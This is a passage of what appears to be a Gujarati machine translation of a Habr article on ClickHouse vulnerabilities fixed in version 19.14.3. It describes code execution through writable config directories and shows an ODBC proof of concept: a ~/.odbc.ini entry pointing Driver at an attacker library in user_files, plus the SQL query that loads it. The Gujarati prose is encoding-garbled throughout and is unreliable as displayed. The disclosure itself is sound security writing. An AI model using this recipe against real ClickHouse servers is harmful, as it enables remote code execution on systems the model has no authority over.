เช•เชฐเซ‡ เช›เซ‡ /var/lib/clickhouse/preprocessed_configs. เชœเซเชฏเชพเชฐเซ‡ เชซเซ‡เชฐเชซเชพเชฐเซ‹ เชฅเชพเชฏ เช›เซ‡, เชคเซเชฏเชพเชฐเซ‡ เชคเซ‡ เชซเชฐเซ€เชฅเซ€ เชตเชพเช‚เชšเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เชœเซ‹ เชคเชฎเชพเชฐเซ€ เชชเชพเชธเซ‡ เชเช•เซเชธเซ‡เชธ เชนเซ‹เชฏ /etc/clickhouse-server เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชชเซ‹เชคเชพเชจเซเช‚ เชธเชฐเซเชœเชจ เช•เชฐเซ€ เชถเช•เซ‡ เช›เซ‡ เชฌเชพเชนเซเชฏ เชถเชฌเซเชฆเช•เซ‹เชถ เชเช•เซเชเชฟเช•เซเชฏเซเชŸเซ‡เชฌเชฒ เชชเซเชฐเช•เชพเชฐ เช…เชจเซ‡ เชชเช›เซ€ เชฎเชจเชธเซเชตเซ€ เช•เซ‹เชก เชšเชฒเชพเชตเซ‹. เช•เซเชฒเชฟเช•เชนเชพเช‰เชธเชจเชพ เชตเชฐเซเชคเชฎเชพเชจ เชธเช‚เชธเซเช•เชฐเชฃเซ‹ เชฎเซ‚เชณเชญเซ‚เชค เชฐเซ€เชคเซ‡ เช…เชงเชฟเช•เชพเชฐเซ‹ เชชเซเชฐเชฆเชพเชจ เช•เชฐเชคเชพ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เชœเซ‹ เชธเชฐเซเชตเชฐ เชงเซ€เชฎเซ‡ เชงเซ€เชฎเซ‡ เช…เชชเชกเซ‡เชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡, เชคเซ‹ เช†เชตเชพ เช…เชงเชฟเช•เชพเชฐเซ‹ เชฐเชนเซ€ เชถเช•เซ‡ เช›เซ‡. เชœเซ‹ เชคเชฎเซ‡ เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เช•เซเชฒเชธเซเชŸเชฐเชจเซ‡ เชธเชชเซ‹เชฐเซเชŸ เช•เชฐเซ€ เชฐเชนเซเชฏเชพเช‚ เช›เซ‹, เชคเซ‹ เชธเซ‡เชŸเชฟเช‚เช—เซเชธ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เชจเชพ เช…เชงเชฟเช•เชพเชฐเซ‹ เชคเชชเชพเชธเซ‹, เชคเซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเชจเชพ เชนเซ‹เชตเชพ เชœเซ‹เชˆเช root.

ODBC เชฅเซ€ RCE

เชชเซ‡เช•เซ‡เชœ เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡, เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ clickhouse, เชชเชฐเช‚เชคเซ เชคเซ‡เชจเซ€ เชนเซ‹เชฎ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชจเชฅเซ€ /nonexistent. เชœเซ‹ เช•เซ‡, เชฌเชพเชนเซเชฏ เชถเชฌเซเชฆเช•เซ‹เชถเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชคเซ€ เชตเช–เชคเซ‡, เช…เชฅเชตเชพ เช…เชจเซเชฏ เช•เชพเชฐเชฃเซ‹เชธเชฐ, เชธเช‚เชšเชพเชฒเช•เซ‹ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชฌเชจเชพเชตเซ‡ เช›เซ‡ /nonexistent เช…เชจเซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเชจเซ‡ เช†เชชเซ‹ clickhouse เชคเซ‡เชจเชพ เชชเชฐ เชฒเช–เชตเชพเชจเซ€ เชเช•เซเชธเซ‡เชธ (SSZB! เช†เชถเชฐเซ‡ เช…เชจเซเชตเชพเชฆเช•).

เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เชธเชชเซ‹เชฐเซเชŸ เช•เชฐเซ‡ เช›เซ‡ เช“เชกเซ€เชฌเซ€เชธเซ€ เช…เชจเซ‡ เช…เชจเซเชฏ เชกเซ‡เชŸเชพเชฌเซ‡เช เชธเชพเชฅเซ‡ เชœเซ‹เชกเชพเชˆ เชถเช•เซ‡ เช›เซ‡. ODBC เชฎเชพเช‚, เชคเชฎเซ‡ เชกเซ‡เชŸเชพเชฌเซ‡เช เชกเซเชฐเชพเช‡เชตเชฐ เชฒเชพเช‡เชฌเซเชฐเซ‡เชฐเซ€ (.so) เชจเซ‹ เชชเชพเชฅ เชธเซเชชเชทเซเชŸ เช•เชฐเซ€ เชถเช•เซ‹ เช›เซ‹. ClickHouse เชจเชพ เชœเซ‚เชจเชพ เชธเช‚เชธเซเช•เชฐเชฃเซ‹เช เชคเชฎเชจเซ‡ เชธเซ€เชงเชพ เชตเชฟเชจเช‚เชคเซ€ เชนเซ‡เชจเซเชกเชฒเชฐเชฎเชพเช‚ เช† เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ€ เชนเชคเซ€, เชชเชฐเช‚เชคเซ เชนเชตเซ‡ เช•เชจเซ‡เช•เซเชถเชจ เชธเซเชŸเซเชฐเชฟเช‚เช—เชจเซ€ เชตเชงเซ เช•เชกเช• เชคเชชเชพเชธ เช‰เชฎเซ‡เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡. odbc-bridge, เชคเซ‡เชฅเซ€ เชตเชฟเชจเช‚เชคเซ€เชฎเชพเช‚เชฅเซ€ เชกเซเชฐเชพเช‡เชตเชฐ เชชเชพเชฅเชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเชตเชพเชจเซเช‚ เชนเชตเซ‡ เชถเช•เซเชฏ เชจเชฅเซ€. เชชเชฐเช‚เชคเซ เชถเซเช‚ เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เช‰เชชเชฐ เชตเชฐเซเชฃเชตเซ‡เชฒ เชจเชฌเชณเชพเชˆเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชนเซ‹เชฎ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เชฎเชพเช‚ เชฒเช–เซ€ เชถเช•เซ‡ เช›เซ‡?

เชšเชพเชฒเซ‹ เชเช• เชซเชพเชˆเชฒ เชฌเชจเชพเชตเซ€เช ~/.odbc.ini เช†เชจเชพ เชœเซ‡เชตเซ€ เชธเชพเชฎเช—เซเชฐเซ€ เชธเชพเชฅเซ‡:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

เชชเช›เซ€ เชธเซเชŸเชพเชฐเซเชŸเช…เชช เชชเชฐ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); เชชเซเชธเซเชคเช•เชพเชฒเชฏ เชฒเซ‹เชก เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡ test.so เช…เชจเซ‡ RCE เชชเซเชฐเชพเชชเซเชค เช•เชฐเซเชฏเซเช‚ (เช†เชญเชพเชฐ เชฌเช—เชฒเซ‹เช• เชŸเซ€เชช เชฎเชพเชŸเซ‡).

เช† เช…เชจเซ‡ เช…เชจเซเชฏ เชจเชฌเชณเชพเชˆเช“เชจเซ‡ ClickHouse เช†เชตเซƒเชคเซเชคเชฟ 19.14.3 เชฎเชพเช‚ เช เซ€เช• เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡. เชคเชฎเชพเชฐเชพ เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เช…เชจเซ‡ เชเซ‚เช•เซ€เชชเชฐเซเชธเชจเซ€ เช•เชพเชณเชœเซ€ เชฒเซ‹!

เชธเซ‹เชฐเซเชธ: www.habr.com

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹